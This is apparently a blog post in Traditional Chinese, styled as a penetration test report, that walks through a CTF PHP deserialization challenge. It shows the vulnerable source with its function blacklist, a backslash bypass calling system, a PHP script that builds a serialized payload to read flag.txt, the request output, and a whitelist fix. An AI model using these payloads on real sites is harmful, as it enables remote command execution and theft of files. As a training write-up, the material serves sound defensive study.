2026年5月30日星期六

BAMBOO FOREST PEN TEST REPORT – Unserialize

 

 



 


Unserialize

 

內容

Unserialize 1

1   摘要. 2

2   目的和範圍. 2

3   測試方法和流程. 4

4   發現的漏洞和風險評估. 4

5   修復建議和策略. 6

6   結論. 6

7   附件和參考資料. 7

 

 


 

1  摘要

本次滲透測試的標的─「反序列化漏洞」取材自2020年強網盃CTF競賽的Web類題目,目標是要拿到flag.txt(機敏資訊)。通常我們在滲透測試時,為了系統中偵察、提權、取得資訊,都會執行一些指令,例如execsystem等等。而這個標的用黑名單的方式,封掉了大部分的指令。

山不轉路轉,我們檢視原始碼,發現可以透過指令(function)和參數(p),取得網頁的詳細php原始碼,然後進一步發現有反序列化漏洞,於是我們撰寫了一個payload,執行後在原始碼中正確取得flag.txt內容。

結論:要防範這樣的反序列化漏洞並不難,我們有三個選擇,徹底禁用動態執行 unserialize(最根本的解法)、安全地限制 unserialize 的類別(如果非用不可)、移除無用的危險類別。建議選用第一個─徹底禁用動態執行 unserialize

2  目的和範圍

本次滲透測試的目的,在於重點說明本公司的滲透測試服務,透過完整的報告格式來呈現,使本公司的潛在客戶可以對齊自己的需求,未來可以做為委託本公司進行滲透測試的基準。

筆記標題

說明反序列化漏洞

知識描述

利用php的「魔術方法」順帶執行我們的payload(惡意程式)

原理思考

這個漏洞的關鍵在於參數的濫用,雖然程式設有黑名單,但是在將「數據結構或者對象轉換為方便儲存或傳輸的數據」(序列化),即並且在之後還原(反序列化)時如果沒有黑名單,我們就可以繞過。

聯想思考

即使有黑名單,也可能可以用

func=\system&p=where%20/r%20C:\laragon\www%20flag.*

func=\system&p=type C:\laragon\www\feifei\flag.txt

這樣的指令來繞過

應用思考

一般隨手架設的簡單活動網頁很難遇到反序列化漏洞;但如果你面對的是大型企業、金融機構、背後有複雜框架運作的 Web 應用系統,或者是使用了大量第三方元件、老舊商用套裝軟體的網站,例如Joomla, WordPress可能會存在。

經驗聯想

看的到程式邏輯,就有機會拿到原始碼,拿的到原始碼就有機會找到後門,能找到後門就有機會找到機敏資訊,能看到機敏資訊就有機會提權和橫向移動

指導行動

多嘗試、多思考,配合閱讀原始碼,很多時候我們看到的錯誤訊息,在原始碼層級會有更多資訊

工具衍生

這個漏洞其實用不到kali,直接在windows平台chrome瀏覽器就能觸發。可見基本觀念的重要性。

3  測試方法和流程

測試方法:

一、   掃描工具:Chrome瀏覽器平台

二、   規範:OWASP WSTG-INPV-11[1] Testing for Code Injection

OWASP Web Security Testing Guide (WSTG) 是全球資安圈公認最權威的 Web 安全測試藍圖。它不只講理論,而是為滲透測試員提供了一套「標準化動作」,詳細列出針對 Web 應用程式、API 及服務應執行的測試項目。本次滲透測試的反序列化,屬於輸入驗證的一環。

OWASP WSTG-INPV-11

三、   檢查項目:

I.   找出注入點。

II. 評估可利用的漏洞類型及其嚴重程度。

時程表:

一、   掃描、滲透時間:2026/5/23 0900-1800

二、   報告撰寫時間:2026/5/30-2026/6/23 09:00-1800

4  發現的漏洞和風險評估

一、 漏洞名稱和描述:反序列化漏洞,可以遠端執行任意程式

二、 漏洞種類:反序列化漏洞

三、 嚴重性評分(CVSS 評分系統):7.0 to 10(滿分10分)

四、 影響的系統或元件:影響LinuxWindows跨平台作業系統

五、 測試過程中的過程與截圖:目標網站採用來序列化方式顯示目前時間,經過嘗試,可以讀出機敏檔案內容flag.txt(如果進一步取得config.php原始碼,有機會取得資料庫帳號密碼)。

41 關鍵資料洩露與遠端執行程式

六、 潛在的風險和影響:

攻擊向量 (AV:N):通常通過網路即可遠端觸發,無需本地許可權。

攻擊複雜度 (AC:L):一旦在框架或應用中找到公開的 POP 鏈,利用過程通常簡單。

許可權要求 (PR:N):很多情況下無需身份驗證即可攻擊。

影響 (C, I, A):機密性、完整性、可用性通常都是完全破壞,可導致資料洩露或系統被控制。

5  修復建議和策略

一、      针對發現的漏洞,提供具體的修復建議和策略:以白名單方式來構建函數,徹底禁用動態執行 unserialize

二、      如果網站根本不需要讓使用者動態呼叫 unserialize,可將原本程式碼中允許使用者任意傳入函式執行的邏輯,改成嚴格的白名單。將程式碼下半段修改為:

1.   $func = $_REQUEST["func"] ?? null;

2.   $p = $_REQUEST["p"] ?? null;

3.    

4.   // 嚴格白名單:只允許安全的時間相關函式

5.   $allowed_funcs = ["date", "time", "strtotime"];

6.    

7.   if ($func !== null) {

8.       $func = strtolower($func);

9.       if (in_array($func, $allowed_funcs, true)) {

10.         echo htmlspecialchars(gettime($func, $p), ENT_QUOTES, 'UTF-8');

11.     } else {

12.         die("未授權的函式呼叫。");

13.     }

14. }

6  結論

總結本次滲透測試的過程和結果,最重要的發現和建議的二點,第一點是用白名單來取代黑名單,在程式撰寫上會較為安全。第二點,既使不用反序列化漏洞,僅用黑名單來過濾,仍有可能被繞過,所以落實有機會對外的網站,都不要放機敏資訊,沒有資訊就沒有洩露。

反序列化漏洞大多是何種網站/系統?

1. 大型企業的「內部管理系統」與「商用軟體」(最常見)

這是近年來反序列化漏洞的最大災區(例如 CISA 的已知漏洞利用目錄 KEV 中頻繁上榜的軟體)。

l  代表系統:IT 運維管理系統、客服工單系統(如 SolarWinds Web Help Desk)、VPN 閘道器、企業資產管理軟體。

l  原因:這類系統為了在不同的後端模組(例如 Web 前端、資料庫、背景排程作業)之間傳遞複雜的狀態與資料,極度依賴序列化。如果使用了不安全的元件(如早期 Java WebLogicJBoss,或是特定 .NET 框架),就會留下一擊必殺的後門。

2. 使用特定程式語言框架的舊版網站

某些程式語言天生就將序列化功能融入到了生態系中,使用這些語言開發的網站更容易中招:

l  Java 網站:Java RMIJMXJMS 等技術本質上就是基於序列化傳輸。早期許多大型銀行、電商或政府的 Java 系統,因為使用了內含「小工具鏈(Gadget Chains)」的第三方函式庫(如 Apache Commons Collections),導致大量網站集體淪陷。

l  PHP 的老舊內容管理系統(CMS)或外掛:像 WordPressJoomlaMagento 等知名系統,雖然核心本體修補很快,但其第三方外掛(Plugins)或舊專案為了在 Cookie/Session 中偷懶儲存複雜的陣列、物件,常會濫用 unserialize()

l  .NET Python 網站:.NET Json.Net(配置不當時)或 Python pickle。特別是 Python pickle,因為功能太強大,只要網站有上傳檔案並用 pickle 讀取的邏輯,就會直接觸發 RCE

3. 微服務架構與大數據平台

現代網站不再是單一伺服器,而是由幾十個「微服務」拼湊而成。

l  內部通訊節點:當網站的前端把請求送給後端、後端再把資料送給快取伺服器(如 Redis)或訊息佇列(如 RabbitMQKafka)時,為了講求速度,開發者常使用序列化格式傳輸。如果這些內網節點暴露到外網,或者攻擊者能對傳輸內容進行中間人竄改,就會引發連鎖崩潰。

為什麼開發者會寫出這種漏洞?

絕大多數反序列化漏洞的誕生,都源自於同一個不小心的觀念:

「這串資料是我自己伺服器產生、加密、或是放在 Session 裡的,使用者應該改不到吧?」

開發者在設計功能時(例如:購物車暫存、使用者個人化偏好、多伺服器同步),為了貪圖方便,直接把整個物件序列化後存進 CookieURL 參數或隱藏欄位(Hidden Input)。

他們認為:

使用者看不到(其實看得到,只是變成了看似亂碼的 Base64 碼)。

使用者看不懂(其實資安人員與駭客一眼就能拆解出結構)。

當網站過度信任這段「從瀏覽器端送回來」的資料,並在沒有校驗(如加上簽章 HMAC)的情況下直接呼叫了反序列化函式,漏洞就此誕生。

7  附件和參考資料

Step1. 開啟目標網站

https://feifei.test/unserial-ctf-2020.php

圖表 71 初始接觸

Step2. 經測試,file_get_content沒有列入黑名單,於是我們可以讀出原始碼(在檔案前加上view-source:,並加上funcp的函數、參數)

view-source:https://feifei.test/unserial-ctf-2020.php?func=file_get_contents&p=unserial-ctf-2020.php

1.   <!DOCTYPE html>

2.   <html>

3.   <head>

4.       <title>phpweb</title>

5.       <style type="text/css">

6.           body {

7.               background: url("bg.jpg") no-repeat;

8.               background-size: 100%;

9.           }

10.         p {

11.             color: white;

12.         }

13. </style>

14. </head>

15.  

16. <body>

17. <script language=javascript>

18.     setTimeout("document.form1.submit()",500000)

19. </script>

20. <p>

21.     <?php

22.     $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

23.     function gettime($func, $p) {

24.         $result = call_user_func($func, $p);

25.         $a= gettype($result);

26.         if ($a == "string") {

27.             return $result;

28.         } else {return "";}

29.     }

30.     class Test {

31.         var $p = "Y-m-d h:i:s a";

32.         var $func = "date";

33.         function __destruct() {

34.             if ($this->func != "") {

35.                 echo gettime($this->func, $this->p);

36.             }

37.         }

38.     }

39.     $func = $_REQUEST["func"];

40.     $p = $_REQUEST["p"];

41.  

42.     if ($func != null) {

43.         $func = strtolower($func);

44.         if (!in_array($func,$disable_fun)) {

45.             echo gettime($func, $p);

46.         }else {

47.             die("Hacker...");

48.         }

49.     }

50.     ?>

51. </p>

52. <form  id=form1 name=form1 action="unserial-ctf-2020.php" method=post>

53.     <input type=hidden id=func name=func value='date'>

54.     <input type=hidden id=p name=p value='Y-m-d h:i:s a'>

55. </body>

56. </html>

Step3. 從原始碼我們可以看到,system在黑名單內,那如果我們用\system就可以成功繞過

view-source:https://feifei.test/unserial-ctf-2020.php?func=\system&p=type%20C:\laragon\www\feifei\flag.txt

圖表 72 FLAG.TXT內容

系統正確顯示flag.txt內容:

<p>

ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==</p>

1.     <!DOCTYPE html>

2.     <html>

3.     <head>

4.         <title>phpweb</title>

5.         <style type="text/css">

6.             body {

7.                 background: url("bg.jpg") no-repeat;

8.                 background-size: 100%;

9.             }

10.          p {

11.              color: white;

12.          }

13.  </style>

14.  </head>

15.   

16.  <body>

17.  <script language=javascript>

18.      setTimeout("document.form1.submit()",500000)

19.  </script>

20.  <p>

21.      ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==</p>

22.  <form  id=form1 name=form1 action="unserial-ctf-2020.php" method=post>

23.      <input type=hidden id=func name=func value='date'>

24.      <input type=hidden id=p name=p value='Y-m-d h:i:s a'>

25.  </body>

26.  </html>

 

Step4. 那如果我們改用反序列化漏洞呢:我們先構建一個payload-win-1.php

1.     <?php

2.     // 1. 定義與目標環境一模一樣的類別結構

3.     class Test {

4.         var $p;

5.         var $func;

6.     }

7.      

8.     // 2. 建立物件並填入 Windows 攻擊指令

9.     $a = new Test();

10.  $a->p = "cmd /c type c:\\laragon\\www\\feifei\\flag.txt";

11.  $a->func = "system";

12.   

13.  // 3. 進行序列化

14.  $serialized_data = serialize($a);

15.   

16.  // 4. 自動組裝成漏洞所需的參數格式

17.  $raw_payload = "func=unserialize&p=" . $serialized_data;

18.   

19.  // 5. 將整體(或僅參數部分)進行 URL 編碼,確保傳輸不破裂

20.  // 實務上我們通常只編碼 p 的值,最符合手動貼入 Burp 的需求

21.  $final_payload = "func=unserialize&p=" . urlencode($serialized_data);

22.   

23.  // --- 畫面輸出(方便你複製) ---

24.  echo "--- [ 複製這串直接貼進 Burp Suite Body ] ---\n";

25.  echo $final_payload;

26.  echo "\n\n";

27.   

28.  echo "--- [ 原始未編碼對照(方便排錯檢查) ] ---\n";

29.  echo $raw_payload;

30.  echo "\n";

31.  ?>

Step5. 程式執行後,我們將結果複製起來

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:42:"cmd /c type c:\laragon\www\feifei\flag.txt";s:4:"func";s:6:"system";}

1.     --- [ 複製這串直接貼進 Burp Suite Body ] --- func=unserialize&p=O%3A4%3A%22Test%22%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A42%3A%22cmd+%2Fc+type+c%3A%5Claragon%5Cwww%5Cfeifei%5Cflag.txt%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3B%7D --- [ 原始未編碼對照(方便排錯檢查) ] --- func=unserialize&p=O:4:"Test":2:{s:1:"p";s:42:"cmd /c type c:\laragon\www\feifei\flag.txt";s:4:"func";s:6:"system";}

Step6. 貼到下列網址並檢視原始碼:

view-source:https://feifei.test/unserial-ctf-2020.php?func=unserialize&p=O:4:%22Test%22:2:{s:1:%22p%22;s:42:%22cmd%20/c%20type%20c:\laragon\www\feifei\flag.txt%22;s:4:%22func%22;s:6:%22system%22;

1.     <!DOCTYPE html>

2.     <html>

3.     <head>

4.         <title>phpweb</title>

5.         <style type="text/css">

6.             body {

7.                 background: url("bg.jpg") no-repeat;

8.                 background-size: 100%;

9.             }

10.          p {

11.              color: white;

12.          }

13.  </style>

14.  </head>

15.   

16.  <body>

17.  <script language=javascript>

18.      setTimeout("document.form1.submit()",500000)

19.  </script>

20.  <p>

21.      <br />

22.  <b>Warning</b>:  unserialize(): Error at offset 96 of 96 bytes in <b>C:\laragon\www\feifei\unserial-ctf-2020.php</b> on line <b>25</b><br />

23.  ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==ZmxhZ3t0aGlzX2lzX3RoZV9mbGFnfQ==</p>

24.  <form  id=form1 name=form1 action="unserial-ctf-2020.php" method=post>

25.      <input type=hidden id=func name=func value='date'>

26.      <input type=hidden id=p name=p value='Y-m-d h:i:s a'>

27.  </body>

28.  </html>

圖表 73 得到flag.txt



[1] https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_Code_Injection

沒有留言:

發佈留言

歡迎留下寶貴意見

BAMBOO FOREST PEN TEST REPORT – Unserialize

      Unserialize   內容 Unserialize 1 1    摘要 . 2 2    目的和範圍 . 2 3    測試方法和流程 . 4 4    發現的漏洞和風險評估 . 4 5    修復...